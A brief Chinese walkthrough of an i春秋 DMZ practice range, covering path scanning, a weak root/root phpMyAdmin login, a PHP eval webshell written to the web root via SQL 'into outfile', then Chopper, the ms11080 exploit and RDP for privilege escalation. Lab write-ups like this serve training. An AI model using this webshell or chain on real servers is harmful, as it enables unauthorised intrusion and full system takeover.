i春秋DMZ大型靶場實驗(二)提權漏洞

拿到靶場 直接進行掃描 爆破路徑

發現 phpinfo, phpmyadmin  更具phpinfo 獲取跟路徑  也能夠經過 

輸入錯路徑爆出絕對路徑

phpmyamin  弱口令登陸  root,root

sql 直接寫一句話木馬

select  '<?php eval($_POST[1])?>' into outfile 'C:\\phpStudy\\WWW\\1.php'

菜刀鏈接   上傳 ms11080.exe 提權 添加 90sec 用

mstsc 直接遠程登陸